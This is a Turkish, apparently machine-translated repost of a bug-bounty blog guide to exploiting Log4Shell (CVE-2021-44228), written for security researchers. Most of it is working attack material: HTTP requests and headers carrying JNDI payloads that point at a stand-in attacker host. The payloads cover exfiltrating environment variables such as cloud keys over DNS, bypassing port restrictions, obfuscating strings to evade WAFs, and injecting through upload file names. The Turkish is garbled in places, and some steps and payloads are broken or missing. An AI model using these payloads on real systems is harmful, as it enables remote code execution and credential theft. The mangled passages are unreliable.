Log4Shell (Log4J): Gelişmiş Sömürü Kılavuzu


Log4J Apache Logging Software’de bir enjeksiyon saldırısı olan Log4Shell’in dünya çapında binlerce şirkete çarpmasından bu yana birkaç yıl geçti. Ve kuruluşların sistemlerindeki bu kritik kusuru yamaya yönelik tüm çabalara rağmen, 2025’te çalışan bazı web hizmetleri, genellikle savunmasız sürümlere, (gizli) bağımlılıklara veya eksik iyileştirmeye dayanan eski sistemler nedeniyle Log4shell’e karşı hala savunmasızdır.

Bu makalede, Log4shell’i bu kadar tehlikeli kılan şeyleri ortaya çıkaracağız ve onları etkili bir şekilde tanımlamak, sömürmek ve silahlandırmak için tekniklerden geçeceğiz. Ayrıca, web uygulaması güvenlik duvarının (WAF) atlamasının gerekli olduğu gelişmiş ve benzersiz sömürü senaryolarını da keşfedeceğiz.

Hadi dalalım!

Apache Log4J, Apache Software Foundation tarafından geliştirilen ve kurumsal uygulamalar, web hizmetleri ve diğer sistem türleri arasında yaygın olarak kullanılan Java ekosistemindeki en yaygın olarak dağıtılan günlük çerçevelerinden biridir. Bir günlük kütüphanesi olarak Log4J, geliştiricilerin herhangi bir uygulama türünde yapılandırılabilir çıktı formatları ve hedeflerle uygulama olaylarını, hata ayıklama bilgilerini ve sistem durum mesajlarını kaydetmelerini sağlar.

Log4Shell (CVE-2021-44228) Apache Log4J’de (2.0-beta9 ila 2.14.1 sürümleri) kritik bir uzaktan kod yürütme güvenlik açığını temsil eder. Güvenlik açığı, çalışma zamanındaki değerleri dinamik olarak çözmek ve yerine koymak için günlük mesajları içindeki özel sözdizimini işleyen Log4J’nin Mesaj Arama İkame Değerlendirmesi özelliğinde mevcuttur. Bu nedenle, her yerden tanıyabileceğiniz bu popüler yük dizesi:

Log4shell (log4j) jndi yük arızası

Temel sorun, Log4J’nin günlük mesajları içindeki JNDI (Java Adlandırma ve Dizin Arayüzü) aramalarında yatmaktadır. Log4J, JNDI arama sözdizimi içeren özel olarak hazırlanmış bir dizeyle karşılaştığında, harici sunuculara bağlanarak ve Java sınıflarını uzak konumlardan yükleyerek referansı otomatik olarak çözmeye çalışır. Bu davranış, günlük seviyesi yapılandırmasından bağımsız olarak gerçekleşir, yani kullanıcı tarafından kontrol edilen veriler günlük çerçevesine ulaşırsa yalnızca günlük hatası veya ölümcül mesajların savunmasız kaldığı uygulamalar bile.

Log4shell nasıl çalışır:

Güvenlik açığı Log4J’nin arama ifadelerinin otomatik olarak değiştirilmesini biçimlendirme ${protocol:address}. Log4J, kötü amaçlı bir JNDI araması içeren bir günlük mesajı işlerken ${jndi:ldap://İngratigiti örnek/xyz}aşağıdaki dizi oluşur:

  1. Günlük mesajı işleme: Uygulama, doğrudan veya oturum açan kullanıcı tarafından kontrol edilen giriş yoluyla kötü amaçlı dizeyi içeren bir mesajı günlüğe kaydeder

  2. Arama Çözümü: Log4J’nin PatternLayout’unu tanır. ${} Sözdizimi ve arama mekanizmasını tetikler

  3. JNDI bağlantısı: JNDI alt sistemi, arama dizisinde belirtilen saldırgan kontrollü sunucuya bir bağlantı kurar

  4. Sınıf yükleme: Uzak Sunucu

  5. Kod Yürütme: Kötü niyetli sınıf, saldırgan başvuru bağlamında yürütülür ve saldırgana başvuru süreci ile aynı ayrıcalıkları verir

Log4Shell (Log4j) istismarı nasıl çalışır?

Şimdi Log4J günlük kütüphanesini yüksek doğrulukla kullanarak hedefleri nasıl tanımlayabileceğimize daha derinlemesine bakalım.

Okuma İpucu: JNDI saldırıları Log4shell vurmadan çok önce mevcuttur. 2016 yılında, araştırmacılar Alvaro Muñoz ve Oleksandr Mirosh, bir Blackhat konuşmasında Log4shell’in temel nedenini anlattılar.

Herhangi bir Log4shell yükü aktif olarak göndermeden önce, Java tabanlı uygulamaların göstergelerini aramamız gerekir. Sunucu yanıt başlıklarını arayın Apache-coyoteİskeleveya Diğer Özel Java Uygulama Sunucuları. Ziyaret ettiğiniz uygulama yollarının dosya uzantılarını kontrol edin. Bazen, Java tabanlı uygulamalarda, genellikle Log4J’yi içeren Spring, Struts veya JSF gibi Java çerçevelerine referans içeren HTML yorumlarıyla karşılaşacaksınız. Ayrıca, bu yaklaşımın sınırlamaları olmasına rağmen, Buildwith ve Wappalyzer gibi araçlardan da yararlanabilirsiniz, ancak bu yaklaşımın sınırlamaları vardır.

Okuma İpucu: Savunmasız hedefleri tanımlamak veya sadece endeksli Java tabanlı hedefleri listelemek için Google Dorking’i nasıl kullanacağınızı öğrenmek için Shodan & Censys’in gücünü kullanın!

Olası bir hedefi başarıyla numaralandırdıktan sonra, savunmasız yazılımla oturum açmanın yaygın olarak meydana geldiği uygulama bileşenlerini aramamız gerekir. Kullanıcı tarafından kontrol edilebilen verileri günlüğe kaydeden herhangi bir uygulama özelliği, aşağıdakiler gibi potansiyel bir enjeksiyon noktası haline gelir:

  • Kimlik Doğrulama uç noktaları Günlük kullanıcı adları ve başarısız giriş denemeleri

  • Analitik Hizmetler Kullanıcı aracılarını, yönlendirici başlıkları ve isteği parametrelerini kaydetme

  • API uç noktaları Günlük isteği gövdeleri, başlıklar ve diğer meta veriler

  • Dosya Yükleme İşlevselliği Dosya adları, dosya boyutu ve diğer olası dosya meta verileriyle birlikte günlük işleme hataları günlüğe kaydetme

  • Hata İşleme Middle Yazılımı Bu istisna detaylarını günlüklendiren (istisnaya neden olan kullanıcı girişi dahil)

  • Denetim ve Uyumluluk Hizmetleri Bu kayıt sistemi olayları

Daha sonra, yükünüzü HTTP talebindeki herhangi bir bileşene gönderebilir ve bu da günlüğe kaydedilmesi ve işlenmesi daha olasıdır. İşte deneyebileceğiniz birkaç istek başlığı:

User-Agent
Referer
X-Original-URL
X-Host
X-Forwarded-For
X-Forwarded-Proto
X-Forwarded-Host
CF-Connecting-Ip                     # If target is behind Cloudflare
True-Client-Ip                       # If target is behind Cloudflare

Log4shell yüklü bir HTTP isteği örneği

Bir istekte Log4shell’in nasıl enjekte edildiğine aşina değilseniz, aşağıdaki örneğe bir göz atın:

POST /e/c?utm_source=%24%7Bjndi%3Aldap%3A%2F%2Fintigriti%2Dexample%3A1389%2Fpath%2Dto%2Djava%2Dclass%7D HTTP/1.1
Host: analytics.example.com
Content-Type: application/json
User-Agent: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
X-Forwarded-For: ${jndi:ldap://intigriti-example:1389/path-to-java-class}
Content-Length: 248

{
    "$event_type": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    "$event_name": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    "$event_time": "${jndi:ldap://intigriti-example:1389/path-to-java-class}",
    ...
}

UÇ! İstek başına tek bir yük enjekte edilmesi önerilir. Bu şekilde, olası etkileşimleri kolayca takip edersiniz ve savunmasız istekleri bulursunuz. Bu yaklaşımla, son sunucu tarafından reddedilecek büyük HTTP istekleri göndermekten de kolayca kaçınabilirsiniz.

Log4Shell’i (CVE-2021-44228) kullanmak için, bir uygulama bileşenine Log4J’nin savunmasız bir sürümünü oluşturacak bir yük enjekte etmeliyiz ve Java sınıfını denemek ve yüklemek için bir JNDI aramasını gerçekleştirmeliyiz.

Basit bir örneği inceleyelim.

Temel bir pingback almak

Aşağıdaki yükü Log4Shell’e karşı savunmasız bir web hizmetine göndermek bir JNDI araması yapacaktır. Diğer ucu kontrol ederseniz (intigriti-example), gelen bir istek almalısınız.

${jndi:ldap://intigriti-example:1337/existing-java-class}

Hedefte, Log4J günlükleme çerçevesi, ana bilgisayara ulaşmak ve harici Java sınıfını dahil etmek için yükümüzü değerlendirecektir. Bir saldırgan olarak, kötü Java kodumuzu pratik olarak barındırabilir ve uzaktan kod yürütme yapabiliriz.

Bağlantı noktası kısıtlamalarını atlamak

Ancak, bu her zaman o kadar da basit değildir. Bazı sunucular, önceden ayarlanmış ana bilgisayar güvenlik politikaları nedeniyle varsayılan olarak giden bağlantılar yapma yeteneğinden yoksundur. Bu senaryoda, bu kısıtlamalar için potansiyel baypas aramalıyız. Mümkün olan bypass varsa, bağlantı bağlantı noktası (1-65.535), protokol (UDP/TCP) veya ana bilgisayarda yapılan istisnalar olacaktır.

Ağ bağlantı noktasında kısıtlamalar ayarlanmışsa, başka bir bağlantı noktası denemeye çalışabiliriz. Port 80, 443, 8080 ve 8443 büyük olasılıkla beyaz liste:

${jndi:ldap://intigriti-example:8080/existing-java-class}

DNS üzerinden Log4shell’den yararlanıyor

Diğer durumlarda, bazı ana bilgisayarların tüm giden TCP bağlantılarını engellediğini fark edeceğiz. Bunu atlamak için, gelen soruları dinlemek için yerel bir DNS sunucusu kurabiliriz. Oast sunucumuz ayarlandıktan sonra aşağıdaki yükü gönderebiliriz:

${jndi:dns://intigriti-example/}

Bu yaklaşım muhtemelen yük dengeleyicilerinin veya diğer ters proxy sunucularının arkasındaki savunmasız uygulamaları atlamaya yardımcı olacaktır.

İç içe JNDI aramaları aracılığıyla verileri püskürtme

Bir pingback aldığımızı ancak Java sınıfımızı kötü kodla ekleyemediğimizi varsayalım. Bu durumda, hassas verileri giden bağlantımız aracılığıyla dışarı atmaya çalışabiliriz. Bunu yapmak için yükümüzü ayarlamamız ve iç JNDI aramalarından yararlanmamız gerekecek. İç JNDI aramaları her zaman çözülür, olası ortamı veya sistem değişkenlerini okumak için bundan yararlanabiliriz.

İşte iç içe JNDI aramaları kullanmanın temel bir örneği:

${jndi:dns://${env:HOST}.intigriti-example/}

Log4J önce iç JNDI aramasını çözecektir: ${env:HOST}. Bu arama, HOST Çevre değişkeni ve dış JNDI aramasına ekleyin, bu durumda, bunu bir alt alan olarak ekleyecektir. intigriti-example.

Ardından, Log4J, DNS sorgusu yapan son aramayı çözecek <$HOST>.intigriti-example.OAST sunucumuz bu isteği alacak ve ana bilgisayar ortam değişkenini okuyabileceğiz.

İşte diğer tüm olası arama türlerinin bir listesi (çevreye bağlı olarak):

${env:VARIABLE_NAME}          # Gets environment variables (HOST, PATH, HOME, AWS keys, etc.)
${sys:property.name}          # Gets Java system properties (user.name, java.version, etc.)
${ctx:key}                    # Gets values from Thread Context Map (MDC)
${map:key}                    # Gets values from event's context map

${hostName}                   # Gets the local hostname
${docker:containerId}         # Gets Docker container ID (if running in a container)
${docker:containerName}       # Gets Docker container name
${docker:imageName}           # Gets Docker image name

${date:yyyy-MM-dd}           # Gets current date in specified format
${date:HH:mm:ss}             # Gets current time in specified format
${date:yyyy-MM-dd HH:mm:ss}  # Gets current date and time
${lower:j}                   # Transforms character to lower case (useful for payload obfuscation and WAF bypasses)

Şimdi temel yükleri ele aldık. Dikkat edilmesi gereken bir şey, çoğu kuruluşun yukarıda belirtilenler gibi ortak yüklere karşı önlemleri zaten dağıtmış olmasıdır. Şimdi yeni WAF bypass’larımızı anlamak ve yapmak için daha gelişmiş durumlara daha derinlemesine dalalım.

Log4Shell yükü şaşkınlık yoluyla

Log4shell vurulduğunda, kuruluşlar sistemlerini yamaya çalıştı. Bazıları bunu filtrelerini sadece yükleri engelleyecek şekilde yapılandırarak yaptı. Bunun için, çoğu WAF, olası Log4Shell yüklerini algılamak için Regex desenlerini ve eşleştirme yüklerini kullanacak şekilde yapılandırılmıştır. Log4J’nin yerleşik dize manipülasyon aramalarından yararlanarak, bu temel algılama mekanizmalarını atlayabiliriz:

${${lower:j}ndi:${lower:l}dap://intigriti-example/path-to-java-class}
${${upper:j}NDI:${upper:l}DAP://INTIGRITI-EXAMPLE/PATH-TO-JAVA-CLASS}
${j${lower:n}di:l${lower:d}ap://intigriti-example/path-to-java-class}
${${lower:jndi}:${lower:ldap}://intigriti-example/path-to-java-class}

Daha önce belgelediğimiz gibi, Log4J önce iç aramaları işler (örneğin,, ${lower:j} hale gelmek j), daha sonra son JNDI dizesini oluşturur, yalnızca gerçek olanı arayan zayıf WAF kurallarını ve filtreleri atlar jndi:ldap desenler.

Gelişmiş gizleme tekniklerini kullanan daha gelişmiş yüklere bir göz atalım:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://intigriti-example/path-to-java-class}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://intigriti-example/path-to-java-class}
${j${env:EMPTY:-}ndi:l${env:EMPTY:-}dap://intigriti-example/path-to-java-class}
${jn${env::-}di:l${env::-}dap://intigriti-example/path-to-java-class}
${${date:j}ndi:ldap://intigriti-example/path-to-java-class}
${jndi:${sys:line.separator}ldap://intigriti-example/path-to-java-class}

Dosya Yüklemeleri aracılığıyla log4shell

Yüklerinizi istek başlıklarına ve parametrelerine enjekte etmek, Log4shell’i test etmenin tek yolu değildir. Dosya yüklemeleri ayrıca CVE-2021-44228 için uygun bir test yoludur. Örneğin, en basit yaklaşımlardan biri, Log4shell yüklerinin doğrudan yüklenen dosya adlarına gömülmesini içerir:

POST /api/my-files/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://intigriti-example/path-to-java-class}.pdf"
Content-Type: application/pdf


------WebKitFormBoundary--

Birçok uygulama, denetim amacıyla dosya adları, güvenlik izleme veya hata ayıklama dahil yükleme etkinliklerini günlüğe kaydeder. JNDI aramasını içeren dosya adı, dosya içeriği veya dosya meta verileri kaydedildiğinde, Log4J onu işler ve güvenlik açığını tetikler. PDF veya diğer yapılandırılmış dosya türleri de Log4Shell sömürüsü için de etkilidir, çünkü kütüphanelerin işlenmesi genellikle hataları ve uyarıda bulunurken hataları ve uyarıları kaydeder.

Örneğin, bir SVG, Excel veya Word belgesi yüklemenize izin verilirse, Log4shell’inizle birlikte, gelen çağrılar için OAST sunucunuzu yükleyin ve izleyin:


  INTIGRITI Log4Shell PoC

  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  Error at line 3: Tag "svg_${jndi:ldap://intigriti-example/path-to-java-class}" is an invalid name.

Okuma İpucu: Gelişmiş dosya yükleme güvenlik açıklarına daha derin dalış yapın ve modern uygulamalarda XXE’den yararlanın.

Log4Shell savunmasız uygulamalar, 2025’te bile mevcuttur. Tıpkı bu makalede belgelediğimiz gibi, ciddi etki taşımaları nedeniyle onları aramaya değer.

Yani, Log4Shell (Log4J) hakkında yeni bir şey öğrendiniz… Şu anda, becerilerinizi test etme zamanı! Savunmasız laboratuvarlarda pratik yaparak başlayabilir veya … Intigriti’deki 70+ genel hata ödül programlarımıza göz atabilirsiniz ve belki de bir sonraki gönderiminizde bir ödül kazanın!

Bugün Intigriti’de hacklemeye başlayın



Source link